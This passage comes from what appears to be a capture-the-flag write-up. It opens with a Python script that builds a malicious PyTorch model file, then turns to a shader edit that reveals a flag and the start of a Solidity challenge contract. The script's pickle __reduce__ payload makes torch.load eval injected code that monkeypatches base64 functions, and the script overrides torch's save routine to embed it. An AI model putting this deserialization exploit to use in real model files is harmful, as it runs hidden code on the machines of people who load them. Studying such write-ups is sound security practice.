class=\"o\">=<\/span> <span class=\"n\">n_tags<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"bp\">self<\/span><span class=\"o\">.<\/span><span class=\"n\">img_shape<\/span> <span class=\"o\">=<\/span> <span class=\"n\">img_shape<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"bp\">self<\/span><span class=\"o\">.<\/span><span class=\"n\">tag_encoder<\/span> <span class=\"o\">=<\/span> <span class=\"bp\">self<\/span><span class=\"o\">.<\/span><span class=\"n\">TagEncoder<\/span><span class=\"p\">(<\/span><span class=\"n\">n_tags<\/span><span class=\"o\">=<\/span><span class=\"n\">n_tags<\/span><span class=\"p\">,<\/span> <span class=\"n\">output_dim<\/span><span class=\"o\">=<\/span><span class=\"n\">dim<\/span><span class=\"p\">)<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"bp\">self<\/span><span class=\"o\">.<\/span><span class=\"n\">model<\/span> <span class=\"o\">=<\/span> <span class=\"n\">nn<\/span><span class=\"o\">.<\/span><span class=\"n\">Sequential<\/span><span class=\"p\">(<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">nn<\/span><span class=\"o\">.<\/span><span class=\"n\">Linear<\/span><span class=\"p\">(<\/span><span class=\"mi\">2<\/span> <span class=\"o\">*<\/span> <span class=\"n\">dim<\/span><span class=\"p\">,<\/span> <span class=\"n\">dim<\/span><span class=\"p\">),<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">nn<\/span><span class=\"o\">.<\/span><span class=\"n\">ReLU<\/span><span class=\"p\">(),<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">nn<\/span><span class=\"o\">.<\/span><span class=\"n\">Linear<\/span><span class=\"p\">(<\/span><span class=\"n\">dim<\/span><span class=\"p\">,<\/span> <span class=\"n\">dim<\/span><span class=\"p\">),<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">nn<\/span><span class=\"o\">.<\/span><span class=\"n\">ReLU<\/span><span class=\"p\">(),<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">nn<\/span><span class=\"o\">.<\/span><span class=\"n\">Linear<\/span><span class=\"p\">(<\/span><span class=\"n\">dim<\/span><span class=\"p\">,<\/span> <span class=\"n\">np<\/span><span class=\"o\">.<\/span><span class=\"n\">prod<\/span><span class=\"p\">(<\/span><span class=\"n\">img_shape<\/span><span class=\"p\">)),<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">nn<\/span><span class=\"o\">.<\/span><span class=\"n\">Tanh<\/span><span class=\"p\">(),<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"p\">)<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">def<\/span> <span class=\"nf\">forward<\/span><span class=\"p\">(<\/span><span class=\"bp\">self<\/span><span class=\"p\">,<\/span> <span class=\"n\">noise<\/span><span class=\"p\">:<\/span> <span class=\"n\">torch<\/span><span class=\"o\">.<\/span><span class=\"n\">Tensor<\/span><span class=\"p\">,<\/span> <span class=\"n\">tag_ids<\/span><span class=\"p\">:<\/span> <span class=\"n\">torch<\/span><span class=\"o\">.<\/span><span class=\"n\">Tensor<\/span><span class=\"p\">)<\/span> <span class=\"o\">-&gt;<\/span> <span class=\"n\">torch<\/span><span class=\"o\">.<\/span><span class=\"n\">Tensor<\/span><span class=\"p\">:<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">tag_emb<\/span> <span class=\"o\">=<\/span> <span class=\"bp\">self<\/span><span class=\"o\">.<\/span><span class=\"n\">tag_encoder<\/span><span class=\"p\">(<\/span><span class=\"n\">tag_ids<\/span><span class=\"p\">)<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">x<\/span> <span class=\"o\">=<\/span> <span class=\"n\">torch<\/span><span class=\"o\">.<\/span><span class=\"n\">cat<\/span><span class=\"p\">([<\/span><span class=\"n\">noise<\/span><span class=\"p\">,<\/span> <span class=\"n\">tag_emb<\/span><span class=\"p\">],<\/span> <span class=\"n\">dim<\/span><span class=\"o\">=-<\/span><span class=\"mi\">1<\/span><span class=\"p\">)<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">x<\/span> <span class=\"o\">=<\/span> <span class=\"bp\">self<\/span><span class=\"o\">.<\/span><span class=\"n\">model<\/span><span class=\"p\">(<\/span><span class=\"n\">x<\/span><span class=\"p\">)<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">x<\/span> <span class=\"o\">=<\/span> <span class=\"n\">x<\/span><span class=\"o\">.<\/span><span class=\"n\">view<\/span><span class=\"p\">(<\/span><span class=\"n\">x<\/span><span class=\"o\">.<\/span><span class=\"n\">shape<\/span><span class=\"p\">[<\/span><span class=\"mi\">0<\/span><span class=\"p\">],<\/span> <span class=\"o\">*<\/span><span class=\"bp\">self<\/span><span class=\"o\">.<\/span><span class=\"n\">img_shape<\/span><span class=\"p\">)<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">return<\/span> <span class=\"n\">x<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"k\">class<\/span> <span class=\"nc\">Payload<\/span><span class=\"p\">(<\/span><span class=\"n\">OrderedDict<\/span><span class=\"p\">):<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">def<\/span> <span class=\"nf\">__reduce__<\/span><span class=\"p\">(<\/span><span class=\"bp\">self<\/span><span class=\"p\">):<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"nb\">print<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;[+] target images downloaded.&#39;<\/span><span class=\"p\">)<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">return<\/span> <span class=\"p\">(<\/span><span class=\"nb\">eval<\/span><span class=\"p\">,<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"p\">((<\/span><span class=\"s1\">&#39;[OrderedDict,&#39;<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"s1\">&#39;exec(&#34;num = 0&#34;),&#39;<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"s1\">&#39;exec(&#34;def test(a=<\/span><span class=\"se\">\\&#39;\\&#39;<\/span><span class=\"s1\">):global num;&#39;<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"s1\">&#39;count=num;&#39;<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"s1\">&#39;num+=1;&#39;<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"s1\">&#39;return b64[count]&#34;),&#39;<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"s1\">&#39;exec(&#34;import base64;base64.b64encode=test&#34;)][0]&#39;<\/span><span class=\"p\">),<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"p\">{<\/span><span class=\"s1\">&#39;OrderedDict&#39;<\/span><span class=\"p\">:<\/span> <span class=\"nb\">dict<\/span><span class=\"p\">(<\/span><span class=\"bp\">self<\/span><span class=\"p\">),<\/span> <span class=\"s1\">&#39;b64&#39;<\/span><span class=\"p\">:<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"p\">[<\/span><span class=\"n\">base64<\/span><span class=\"o\">.<\/span><span class=\"n\">b64encode<\/span><span class=\"p\">(<\/span><span class=\"n\">requests<\/span><span class=\"o\">.<\/span><span class=\"n\">get<\/span><span class=\"p\">(<\/span><span class=\"sa\">f<\/span><span class=\"s1\">&#39;http:\/\/202.38.93.111:10123\/static\/images\/<\/span><span class=\"si\">{<\/span><span class=\"n\">i<\/span><span class=\"si\">}<\/span><span class=\"s1\">.png&#39;<\/span><span class=\"p\">)<\/span><span class=\"o\">.<\/span><span class=\"n\">content<\/span><span class=\"p\">)<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">for<\/span> <span class=\"n\">i<\/span> <span class=\"ow\">in<\/span> <span class=\"nb\">range<\/span><span class=\"p\">(<\/span><span class=\"mi\">10<\/span><span class=\"p\">)]}))<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"k\">def<\/span> <span class=\"nf\">_new_save<\/span><span class=\"p\">(<\/span><span class=\"n\">obj<\/span><span class=\"p\">,<\/span> <span class=\"n\">zip_file<\/span><span class=\"p\">,<\/span> <span class=\"n\">pickle_module<\/span><span class=\"p\">,<\/span> <span class=\"n\">pickle_protocol<\/span><span class=\"p\">):<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"nb\">print<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;[+] torch.serialization._save() patched.&#39;<\/span><span class=\"p\">)<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">serialized_storages<\/span> <span class=\"o\">=<\/span> <span class=\"p\">{}<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">id_map<\/span> <span class=\"o\">=<\/span> <span class=\"p\">{}<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">storage_dtypes<\/span> <span class=\"o\">=<\/span> <span class=\"p\">{}<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">def<\/span> <span class=\"nf\">persistent_id<\/span><span class=\"p\">(<\/span><span class=\"n\">obj<\/span><span class=\"p\">):<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">if<\/span> <span class=\"nb\">isinstance<\/span><span class=\"p\">(<\/span><span class=\"n\">obj<\/span><span class=\"p\">,<\/span> <span class=\"n\">torch<\/span><span class=\"o\">.<\/span><span class=\"n\">storage<\/span><span class=\"o\">.<\/span><span class=\"n\">_TypedStorage<\/span><span class=\"p\">)<\/span> <span class=\"ow\">or<\/span> <span class=\"n\">torch<\/span><span class=\"o\">.<\/span><span class=\"n\">is_storage<\/span><span class=\"p\">(<\/span><span class=\"n\">obj<\/span><span class=\"p\">):<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">if<\/span> <span class=\"nb\">isinstance<\/span><span class=\"p\">(<\/span><span class=\"n\">obj<\/span><span class=\"p\">,<\/span> <span class=\"n\">torch<\/span><span class=\"o\">.<\/span><span class=\"n\">storage<\/span><span class=\"o\">.<\/span><span class=\"n\">_TypedStorage<\/span><span class=\"p\">):<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">storage<\/span> <span class=\"o\">=<\/span> <span class=\"n\">obj<\/span><span class=\"o\">.<\/span><span class=\"n\">_storage<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">storage_dtype<\/span> <span class=\"o\">=<\/span> <span class=\"n\">obj<\/span><span class=\"o\">.<\/span><span class=\"n\">dtype<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">storage_type_str<\/span> <span class=\"o\">=<\/span> <span class=\"n\">obj<\/span><span class=\"o\">.<\/span><span class=\"n\">pickle_storage_type<\/span><span class=\"p\">()<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">storage_type<\/span> <span class=\"o\">=<\/span> <span class=\"nb\">getattr<\/span><span class=\"p\">(<\/span><span class=\"n\">torch<\/span><span class=\"p\">,<\/span> <span class=\"n\">storage_type_str<\/span><span class=\"p\">)<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">storage_numel<\/span> <span class=\"o\">=<\/span> <span class=\"n\">obj<\/span><span class=\"o\">.<\/span><span class=\"n\">size<\/span><span class=\"p\">()<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">else<\/span><span class=\"p\">:<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">storage<\/span> <span class=\"o\">=<\/span> <span class=\"n\">obj<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">storage_dtype<\/span> <span class=\"o\">=<\/span> <span class=\"n\">torch<\/span><span class=\"o\">.<\/span><span class=\"n\">uint8<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">storage_type<\/span> <span class=\"o\">=<\/span> <span class=\"n\">normalize_storage_type<\/span><span class=\"p\">(<\/span><span class=\"nb\">type<\/span><span class=\"p\">(<\/span><span class=\"n\">obj<\/span><span class=\"p\">))<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">storage_numel<\/span> <span class=\"o\">=<\/span> <span class=\"n\">storage<\/span><span class=\"o\">.<\/span><span class=\"n\">nbytes<\/span><span class=\"p\">()<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">if<\/span> <span class=\"n\">storage<\/span><span class=\"o\">.<\/span><span class=\"n\">data_ptr<\/span><span class=\"p\">()<\/span> <span class=\"o\">!=<\/span> <span class=\"mi\">0<\/span><span class=\"p\">:<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">if<\/span> <span class=\"n\">storage<\/span><span class=\"o\">.<\/span><span class=\"n\">data_ptr<\/span><span class=\"p\">()<\/span> <span class=\"ow\">in<\/span> <span class=\"n\">storage_dtypes<\/span><span class=\"p\">:<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">if<\/span> <span class=\"n\">storage_dtype<\/span> <span class=\"o\">!=<\/span> <span class=\"n\">storage_dtypes<\/span><span class=\"p\">[<\/span><span class=\"n\">storage<\/span><span class=\"o\">.<\/span><span class=\"n\">data_ptr<\/span><span class=\"p\">()]:<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">raise<\/span> <span class=\"ne\">RuntimeError<\/span><span class=\"p\">(<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"s1\">&#39;Cannot save multiple tensors or storages that &#39;<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"s1\">&#39;view the same data as different types&#39;<\/span><span class=\"p\">)<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">else<\/span><span class=\"p\">:<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">storage_dtypes<\/span><span class=\"p\">[<\/span><span class=\"n\">storage<\/span><span class=\"o\">.<\/span><span class=\"n\">data_ptr<\/span><span class=\"p\">()]<\/span> <span class=\"o\">=<\/span> <span class=\"n\">storage_dtype<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">storage_key<\/span> <span class=\"o\">=<\/span> <span class=\"n\">id_map<\/span><span class=\"o\">.<\/span><span class=\"n\">setdefault<\/span><span class=\"p\">(<\/span><span class=\"n\">storage<\/span><span class=\"o\">.<\/span><span class=\"n\">_cdata<\/span><span class=\"p\">,<\/span> <span class=\"nb\">str<\/span><span class=\"p\">(<\/span><span class=\"nb\">len<\/span><span class=\"p\">(<\/span><span class=\"n\">id_map<\/span><span class=\"p\">)))<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">serialized_storages<\/span><span class=\"p\">[<\/span><span class=\"n\">storage_key<\/span><span class=\"p\">]<\/span> <span class=\"o\">=<\/span> <span class=\"n\">storage<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">return<\/span> <span class=\"p\">(<\/span><span class=\"s1\">&#39;storage&#39;<\/span><span class=\"p\">,<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">storage_type<\/span><span class=\"p\">,<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">storage_key<\/span><span class=\"p\">,<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"p\">(<\/span><span class=\"n\">location_tag<\/span><span class=\"p\">(<\/span><span class=\"n\">storage<\/span><span class=\"p\">)),<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">storage_numel<\/span><span class=\"p\">)<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">return<\/span> <span class=\"kc\">None<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">data_buf<\/span> <span class=\"o\">=<\/span> <span class=\"n\">io<\/span><span class=\"o\">.<\/span><span class=\"n\">BytesIO<\/span><span class=\"p\">()<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">pickler<\/span> <span class=\"o\">=<\/span> <span class=\"n\">pickle_module<\/span><span class=\"o\">.<\/span><span class=\"n\">Pickler<\/span><span class=\"p\">(<\/span><span class=\"n\">data_buf<\/span><span class=\"p\">,<\/span> <span class=\"n\">protocol<\/span><span class=\"o\">=<\/span><span class=\"n\">pickle_protocol<\/span><span class=\"p\">)<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">pickler<\/span><span class=\"o\">.<\/span><span class=\"n\">persistent_id<\/span> <span class=\"o\">=<\/span> <span class=\"n\">persistent_id<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">pickler<\/span><span class=\"o\">.<\/span><span class=\"n\">dump<\/span><span class=\"p\">(<\/span><span class=\"n\">Payload<\/span><span class=\"p\">(<\/span><span class=\"n\">obj<\/span><span class=\"p\">))<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">data_value<\/span> <span class=\"o\">=<\/span> <span class=\"n\">data_buf<\/span><span class=\"o\">.<\/span><span class=\"n\">getvalue<\/span><span class=\"p\">()<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">zip_file<\/span><span class=\"o\">.<\/span><span class=\"n\">write_record<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;data.pkl&#39;<\/span><span class=\"p\">,<\/span> <span class=\"n\">data_value<\/span><span class=\"p\">,<\/span> <span class=\"nb\">len<\/span><span class=\"p\">(<\/span><span class=\"n\">data_value<\/span><span class=\"p\">))<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">for<\/span> <span class=\"n\">key<\/span> <span class=\"ow\">in<\/span> <span class=\"nb\">sorted<\/span><span class=\"p\">(<\/span><span class=\"n\">serialized_storages<\/span><span class=\"o\">.<\/span><span class=\"n\">keys<\/span><span class=\"p\">()):<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">storage<\/span> <span class=\"o\">=<\/span> <span class=\"n\">serialized_storages<\/span><span class=\"p\">[<\/span><span class=\"n\">key<\/span><span class=\"p\">]<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">if<\/span> <span class=\"n\">storage<\/span><span class=\"o\">.<\/span><span class=\"n\">device<\/span><span class=\"o\">.<\/span><span class=\"n\">type<\/span> <span class=\"o\">!=<\/span> <span class=\"s1\">&#39;cpu&#39;<\/span><span class=\"p\">:<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">storage<\/span> <span class=\"o\">=<\/span> <span class=\"n\">storage<\/span><span class=\"o\">.<\/span><span class=\"n\">cpu<\/span><span class=\"p\">()<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">zip_file<\/span><span class=\"o\">.<\/span><span class=\"n\">write_record<\/span><span class=\"p\">(<\/span><span class=\"sa\">f<\/span><span class=\"s1\">&#39;data\/<\/span><span class=\"si\">{<\/span><span class=\"n\">key<\/span><span class=\"si\">}<\/span><span class=\"s1\">&#39;<\/span><span class=\"p\">,<\/span> <span class=\"n\">storage<\/span><span class=\"o\">.<\/span><span class=\"n\">data_ptr<\/span><span class=\"p\">(),<\/span> <span class=\"n\">storage<\/span><span class=\"o\">.<\/span><span class=\"n\">nbytes<\/span><span class=\"p\">())<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"k\">if<\/span> <span class=\"vm\">__name__<\/span> <span class=\"o\">==<\/span> <span class=\"s1\">&#39;__main__&#39;<\/span><span class=\"p\">:<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">torch<\/span><span class=\"o\">.<\/span><span class=\"n\">serialization<\/span><span class=\"o\">.<\/span><span class=\"n\">_save<\/span> <span class=\"o\">=<\/span> <span class=\"n\">_new_save<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">torch<\/span><span class=\"o\">.<\/span><span class=\"n\">save<\/span><span class=\"p\">(<\/span><span class=\"n\">SimpleGenerativeModel<\/span><span class=\"p\">(<\/span><span class=\"mi\">63<\/span><span class=\"p\">,<\/span> <span class=\"mi\">8<\/span><span class=\"p\">,<\/span> <span class=\"p\">(<\/span><span class=\"mi\">64<\/span><span class=\"p\">,<\/span> <span class=\"mi\">64<\/span><span class=\"p\">,<\/span> <span class=\"mi\">3<\/span><span class=\"p\">))<\/span><span class=\"o\">.<\/span><span class=\"n\">state_dict<\/span><span class=\"p\">(),<\/span> <span class=\"s2\">&#34;payload.pt&#34;<\/span><span class=\"p\">)<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"nb\">print<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;[+] payload saved to &#34;payload.pt&#34;.&#39;<\/span><span class=\"p\">)<\/span>\n<\/span><\/span><\/code><\/pre><\/td><\/tr><\/table>\n<\/div>\n<\/div><h2 id=\"\u5149\u4e0e\u5f71\">\u5149\u4e0e\u5f71\n<\/h2><p>\u628a\u7f51\u9875\u4fdd\u5b58\u5230\u672c\u5730\u6539\u4ee3\u7801<\/p>\n<p>\u53d1\u73b0\u6539\u52a8 <code>fragment-shader.js<\/code> \u7684\u7b2c 302 \u884c\u7684\u51e0\u4e2a\u6570\u5b57\uff0c\u5c31\u80fd\u6539\u53d8\u6321\u4f4f flag \u7684\u7269\u4f53\u7684\u5c3a\u5bf8\u548c\u5750\u6807\uff0c\u7136\u540e\u5c31\u80fd\u770b\u5f97\u89c1\u5b8c\u6574\u7684 flag \u4e86\uff08\u6211\u4e0d\u4f1a WebGL \u778e\u6539\u4e86\u597d\u4e45\u624d\u53d1\u73b0\uff09<\/p>\n<p>\u6bd4\u5982\u8fd9\u6837\uff1a<\/p>\n<div class=\"highlight\"><div class=\"chroma\">\n<table class=\"lntable\"><tr><td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code><span class=\"lnt\">1\n<\/span><span class=\"lnt\">2\n<\/span><\/code><\/pre><\/td>\n<td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code class=\"language-c\" data-lang=\"c\"><span class=\"line\"><span class=\"cl\"><span class=\"c1\">\/\/ fragment-shader.js:302\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"kt\">float<\/span> <span class=\"n\">t5<\/span> <span class=\"o\">=<\/span> <span class=\"nf\">t5SDF<\/span><span class=\"p\">(<\/span><span class=\"n\">p<\/span> <span class=\"o\">-<\/span> <span class=\"nf\">vec3<\/span><span class=\"p\">(<\/span><span class=\"mf\">36.0<\/span><span class=\"p\">,<\/span> <span class=\"mf\">10.0<\/span><span class=\"p\">,<\/span> <span class=\"mf\">15.0<\/span><span class=\"p\">),<\/span> <span class=\"nf\">vec3<\/span><span class=\"p\">(<\/span><span class=\"mf\">30.0<\/span><span class=\"p\">,<\/span> <span class=\"mf\">5.0<\/span><span class=\"p\">,<\/span> <span class=\"mf\">5.0<\/span><span class=\"p\">),<\/span> <span class=\"mf\">2.0<\/span><span class=\"p\">);<\/span>\n<\/span><\/span><\/code><\/pre><\/td><\/tr><\/table>\n<\/div>\n<\/div><p>\u6539\u6210<\/p>\n<div class=\"highlight\"><div class=\"chroma\">\n<table class=\"lntable\"><tr><td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code><span class=\"lnt\">1\n<\/span><span class=\"lnt\">2\n<\/span><\/code><\/pre><\/td>\n<td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code class=\"language-c\" data-lang=\"c\"><span class=\"line\"><span class=\"cl\"><span class=\"c1\">\/\/ fragment-shader.js:302\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"kt\">float<\/span> <span class=\"n\">t5<\/span> <span class=\"o\">=<\/span> <span class=\"nf\">t5SDF<\/span><span class=\"p\">(<\/span><span class=\"n\">p<\/span> <span class=\"o\">-<\/span> <span class=\"nf\">vec3<\/span><span class=\"p\">(<\/span><span class=\"mf\">114514.0<\/span><span class=\"p\">,<\/span> <span class=\"mf\">10.0<\/span><span class=\"p\">,<\/span> <span class=\"mf\">15.0<\/span><span class=\"p\">),<\/span> <span class=\"nf\">vec3<\/span><span class=\"p\">(<\/span><span class=\"mf\">30.0<\/span><span class=\"p\">,<\/span> <span class=\"mf\">5.0<\/span><span class=\"p\">,<\/span> <span class=\"mf\">5.0<\/span><span class=\"p\">),<\/span> <span class=\"mf\">2.0<\/span><span class=\"p\">);<\/span>\n<\/span><\/span><\/code><\/pre><\/td><\/tr><\/table>\n<\/div>\n<\/div><h2 id=\"\u94fe\u4e0a\u8bb0\u5fc6\u5927\u5e08\">\u94fe\u4e0a\u8bb0\u5fc6\u5927\u5e08\n<\/h2><p>\u4e09\u9053\u9898\u7684\u9898\u76ee\u8981\u6c42\u7c7b\u4f3c\uff1a\u6839\u636e <code>Challenge{X}.sol<\/code> \u7684\u5185\u5bb9\uff0c\u7f16\u5199\u5bf9\u5e94\u7684 &ldquo;MemoryMaster&rdquo; \u5408\u7ea6\uff0c\u4f7f\u5f97 Challenge \u5408\u7ea6\u7684 <code>test<\/code> \u65b9\u6cd5\u80fd\u591f\u8fd4\u56de true<\/p>\n<p>\u628a\u5199\u597d\u7684\u5408\u7ea6\u7f16\u8bd1\u6210 bytecode \u7136\u540e\u63d0\u4ea4\u4e0a\u53bb\u5c31\u884c\u4e86<\/p>\n<h3 id=\"\u8bb0\u5fc6\u7ec3\u4e60\">\u8bb0\u5fc6\u7ec3\u4e60\n<\/h3><p>\u4f46\u51e1\u6709\u4e00\u70b9\u6709 Web3 \u5f00\u53d1\u7ecf\u9a8c\u8fd9\u9898\u5c31\u662f\u9001\u5206\u9898\uff0c\u5199\u4e2a\u667a\u80fd\u5408\u7ea6\uff0c\u628a\u7f16\u8bd1\u51fa\u6765\u7684 bytecode \u63d0\u4ea4\u4e0a\u53bb\u5c31\u884c\u4e86\u3002<\/p>\n<p>\u62ff Solidity \u8bed\u8a00\u4e3e\u4f8b:<\/p>\n<div class=\"highlight\"><div class=\"chroma\">\n<table class=\"lntable\"><tr><td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code><span class=\"lnt\"> 1\n<\/span><span class=\"lnt\"> 2\n<\/span><span class=\"lnt\"> 3\n<\/span><span class=\"lnt\"> 4\n<\/span><span class=\"lnt\"> 5\n<\/span><span class=\"lnt\"> 6\n<\/span><span class=\"lnt\"> 7\n<\/span><span class=\"lnt\"> 8\n<\/span><span class=\"lnt\"> 9\n<\/span><span class=\"lnt\">10\n<\/span><span class=\"lnt\">11\n<\/span><span class=\"lnt\">12\n<\/span><\/code><\/pre><\/td>\n<td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code class=\"language-solidity\" data-lang=\"solidity\"><span class=\"line\"><span class=\"cl\"><span class=\"k\">pragma solidity<\/span> <span class=\"o\">=<\/span><span class=\"mi\">0<\/span><span class=\"p\">.<\/span><span class=\"mi\">8<\/span><span class=\"p\">.<\/span><span class=\"mi\">17<\/span><span class=\"p\">;<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"kd\">contract<\/span> <span class=\"nc\">MemoryMaster<\/span> <span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"kt\">uint256<\/span> <span class=\"n\">v<\/span><span class=\"p\">;<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"kd\">function<\/span> <span class=\"nf\">memorize<\/span><span class=\"p\">(<\/span><span class=\"kt\">uint256<\/span> <span class=\"n\">n<\/span><span class=\"p\">)<\/span> <span class=\"k\">external<\/span> <span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">v<\/span> <span class=\"o\">=<\/span> <span class=\"n\">n<\/span><span class=\"p\">;<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span 